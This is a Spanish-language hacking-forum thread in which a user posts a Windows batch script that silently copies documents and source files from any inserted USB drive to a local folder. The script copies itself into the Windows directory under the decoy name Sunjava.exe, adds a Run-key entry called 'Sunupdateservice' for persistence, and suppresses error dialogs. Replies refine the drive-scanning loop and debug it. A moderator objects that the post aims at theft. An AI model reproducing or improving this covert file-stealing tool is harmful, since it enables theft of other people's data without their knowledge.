Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: asdexiva en 5 Noviembre 2012, 23:43 pm



Título: [BATCH] Copiar archivos de usb Script bath
Publicado por: asdexiva en 5 Noviembre 2012, 23:43 pm
pss hice un script que copia archivos al pc
el script lo que hace es que al meter la usb copia todos los archivos con las extension que quieras al pc
donde dice:
Código:
(*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)
van las extensiones
ejemplo
Código:
(*.jpg)
y si quieres copiar mas extensiones separas por comas ,
Código:
(*.jpg,*.mp3)
otra cosa no borres el asterico * que es igual a todos los archivos
*=todos los archivos

el mkdir crea carpetas en dicha ubicacion
ejemplo:
Código:
mkdir C:\trabajos

esto hace que se agrege al registro y se inicie al prender el pc
Código:
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Sunupdateservice /t REG_SZ /d "%WINDIR%\14785\Sunjava.exe" /f

este quita un error que dice no ay disco
Código:
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f

y esto es una especie de lista de espera para volver a empezar

Código:
ping 127.0.0.1 -n 35

source:
Código:
@echo off
REM A
REM U
REM T
REM O
REM C
REM O
REM P
REM Y
REM by asdexiva~
:inicio

mkdir C:\trabajos
REM copiado de archivos al usb
(FOR /R "E:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "F:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "G:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "H:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "I:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "J:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "K:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "L:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "W:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))



REM SE AGREGA AL INICIO DEL SISTEMA
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Sunupdateservice /t REG_SZ /d "%WINDIR%\14785\Sunjava.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f
REM COPIAR ARCHIVO A WINDOWS PARA INICIAR con el registro
Copy /y %0, "%WINDIR%\14785\Sunjava.exe"


:LOOP
REM especie de sleep 35 SEGUNDOS
ping 127.0.0.1 -n 35

goto inicio





MOD: Haz el favor de leer las normas, no postear material con fines de hacking nó éticos, como es por ejemplo "ROBAR EN LA ESCUELA".


Título: Re: Copiar archivos de usb Script bath
Publicado por: Eleкtro en 6 Noviembre 2012, 03:22 am
Puedes mejorar el uso de expresiones:
Código:
*.doc?

Código:
*.ppt?

Así buscará archivos doc y docx, ppt y pptx, sin necesidad de usar "*.docx" y "*.pptx".

También puedes simplificar todos los FOR en uno solo, quedaría así:

Código
  1. @Echo OFF
  2.  
  3. SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
  4.  
  5. FOR %%# IN (%DRIVES%) DO (
  6. ECHO "%%#"
  7. PUSHD "%%#:\" 2>NUL && (FOR /R %%@ IN (*.c, *.cpp, *.doc?, *.ppt?) DO (Copy /y "%%@" "C:\trabajos\"))
  8. )
  9.  
  10. Pause&Exit


un saludo


Título: Re: [BATCH] Copiar archivos de usb Script bath
Publicado por: asdexiva en 6 Noviembre 2012, 03:32 am
o eso de hacer todos los for en un solo no sabia tratare de hacerlo haci gracias elektro


Elektro

disculpa que te moleste con esto pero la variable esta "%%#" = es  "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"  ?¿?¿ perdona xD y otra cosa los nul para que sirven nunca me an gustado usarlos hahaha


Título: Re: [BATCH] Copiar archivos de usb Script bath
Publicado por: Eleкtro en 6 Noviembre 2012, 09:49 am
No me molesta responder a dudas, no te preocupes.



la variable esta "%%#" = es  "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"  ?¿?¿

Cada letra de la variable "%DRIVES%" se va almacenando en la variable "%%#" por lo tanto se puede contestar más o menos que a tu pregunta.



los nul para que sirven

Cita de: Elektro H@cker
NUL es un archivo especial de Windows que descarta toda la información que le redireccionemos, prácticamente su único uso es ocultar la salida de un comando evitando la necesidad de crear un archivo extra que nos moleste en nuestro disco duro.

> 4.6 Operadores de desplazamiento lógico (o Redireccionamiento) (http://foro.elhacker.net/scripting/tema_bloqueado_hasta_finalizar_el_tuto_tutorial_extendido_de_aprendizaje_batch-t375135.0.html;msg1797941#msg1797941)

saludos


Título: Re: [BATCH] Copiar archivos de usb Script bath
Publicado por: DRIGIN en 21 Noviembre 2012, 23:49 pm
Electro tu codigo no me funciona del todo, nose  pero si lo ejecuto en el escritorio por ejemplo , lo que haces es buscar dentro de todas las carpetas del escritorio los archivos definidos y copiarlos, no me busca en las letras o direcciones definidas en SET, y no usa ninguna de las letras definidas en set para mi disco duro, simplemente busca y copia lo definido pero en la direccion donde se ejecuta, nose cual es el problema


Título: Re: [BATCH] Copiar archivos de usb Script bath
Publicado por: Eleкtro en 22 Noviembre 2012, 00:28 am
Pues el bat que hice a mi me funciona correctamente, primero se mete en C:, busca, luego se mete en D:, y busca... etc


Asegúrate de estar seteando bien la variable:
Código:
SET "DRIVES=B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
Debe haber un espacio entre las letras, como en el ejemplo.


Saludos


Título: Re: [BATCH] Copiar archivos de usb Script bath
Publicado por: DRIGIN en 22 Noviembre 2012, 01:34 am
Código:
mkdir %homedrive%\trabajos2

SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
pause
FOR %%# IN (%DRIVES%) DO (ECHO "%%#" PUSHD "%%#:\" 2>NUL && (FOR /R %%@ IN (*.txt, *.ppt?) DO (Copy /y "%%@" "%homedrive%\trabajos2\")))
Pause&Exit

lo ejecuto en el escritorio y solo me pasas los archivos del escritorio y sus subcarpetas. C:\Users\usuario\Desktop
porque pasa eso si no esta la letra c:


Título: Re: [BATCH] Copiar archivos de usb Script bath
Publicado por: Eleкtro en 22 Noviembre 2012, 01:40 am
porque pasa eso si no esta la letra c:

Porque el comando que se encarga de entrar a las unidades lo estás omitiendo:
Citar
Código:
DO (ECHO "%%#" PUSHD "%%#:\" 2>NUL && 

Ahí falta un:
Citar
Código:
DO (ECHO "%%#" & PUSHD "%%#:\" 2>NUL && 

Eso no te pasaría si no hubieras "cortado" mi script para ponerlo en una sola línea XD

Saludos!


Título: Re: [BATCH] Copiar archivos de usb Script bath
Publicado por: DRIGIN en 22 Noviembre 2012, 01:58 am
 :rolleyes:
ahora va perfecto gracias xD


Título: Re: [BATCH] Copiar archivos de usb Script bath
Publicado por: cawento en 2 Marzo 2013, 19:36 pm
Si existen dos archivos con el mismo nombre en distintos directorios, el último sobreescribe al primero, esto es asi?


Título: Re: [BATCH] Copiar archivos de usb Script bath
Publicado por: Eleкtro en 2 Marzo 2013, 20:22 pm
Si existen dos archivos con el mismo nombre en distintos directorios, el último sobreescribe al primero, esto es asi?

El parámetro "/Y" del comando "Copy" sirve para remplazar archivos, "SÍ" a tu pregunta.

Cierro el tema.

Saludos